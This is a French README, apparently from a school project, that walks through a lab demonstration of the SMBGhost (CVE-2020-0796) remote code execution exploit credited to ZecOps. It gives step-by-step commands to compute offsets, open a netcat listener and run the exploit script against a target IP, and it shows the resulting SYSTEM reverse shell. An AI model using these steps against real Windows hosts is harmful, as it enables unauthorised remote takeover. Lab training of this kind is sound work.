
Exploit pédagogique de type preuve de concept pour CVE-2020-0796 (SMBGhost) démontrant une exécution de code à distance (RCE) sans authentification sur Windows SMBv3. Comprend la mise en place pas à pas d'un laboratoire, le calcul d'offset et l'exécution d'un shell inversé pour une formation contrôlée en cybersécurité.
Ce projet présente une preuve de concept (PoC) de l'exploit CVE-2020-0796, également connu sous le nom de SMBGhost - une vulnérabilité RCE critique sans authentification affectant les systèmes Windows 10 et Windows Server utilisant SMBv3. Il a été développé dans le cadre d'un projet scolaire de cybersécurité. Tout le crédit pour le code de l'exploit revient à ZecOps. Je l'ai seulement utilisé et adapté à des fins éducatives pour démontrer l'exploitation de CVE-2020-0796 dans un environnement de laboratoire contrôlé.
Pour reproduire cette démonstration, la configuration suivante est requise :
SMBleedingGhost.py par ZecOpscalc_target_offsets.bat par ZecOpsLancez l'Invite de commandes sur les machines virtuelles Attaquante et Cible.
Exécutez la commande suivante sur chaque machine :
ipconfig
CVE-2020-0796-RCE-POC-master.calc_target_offsets.batCVE-2020-0796-RCE-POC-master.SMBleedingGhost.py et ouvrez-le avec le Bloc-notes.SMBleedingGhost.py, faites défiler vers le bas et localisez la section qui commence par OFFSETS = {.Ouvrez une nouvelle Invite de commandes et exécutez :
ncat -lvp 4321
4321 pour recevoir un reverse shell de la machine cible en cas d'exploitation réussie.cd Desktop
cd CVE-2020-0796-RCE-POC-master
dir
python SMBleedingGhost.py <target_ip> <attacker_ip> <port>
Exemple utilisé dans cette démonstration :
python SMBleedingGhost.py 192.168.18.61 192.168.18.62 4321
192.168.18.61 : IP de la machine cible192.168.18.62 : IP de la machine attaquante4321 : Port utilisé dans le listener netcatEn cas de succès, la fenêtre netcat affichera :
Microsoft Windows [Version 10.0.18362.356]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Cela confirme que :
Vous pouvez valider l'accès en exécutant :
whoami
Cela donnera :
whoami
nt authority\system
Cela signifie que la machine attaquante a maintenant des privilèges système sur la machine cible.
Vous pouvez également exécuter :
ipconfig
Pour vérifier que vous interagissez avec le réseau de la machine cible.

Remarque : La machine cible peut planter après l'exploitation. Si c'est le cas, vous pouvez la redémarrer. La session de l'attaquant devra être rétablie après le redémarrage.
Cette démonstration est basée sur la preuve de concept disponible publiquement développée par ZecOps.
Tout le crédit du code d'exploit revient à ZecOps. Je l'ai seulement utilisé et adapté à des fins éducatives pour démontrer l'exploitation de CVE-2020-0796 dans un environnement de laboratoire contrôlé.
Ce dépôt est créé à des fins éducatives uniquement.
Tous les outils, scripts et techniques démontrés sont destinés à aider à comprendre les vulnérabilités de cybersécurité dans un environnement de laboratoire contrôlé. N'essayez pas d'utiliser les documents fournis sur des systèmes ou réseaux que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
Toute mauvaise utilisation du logiciel ne relèvera pas de la responsabilité de l'auteur.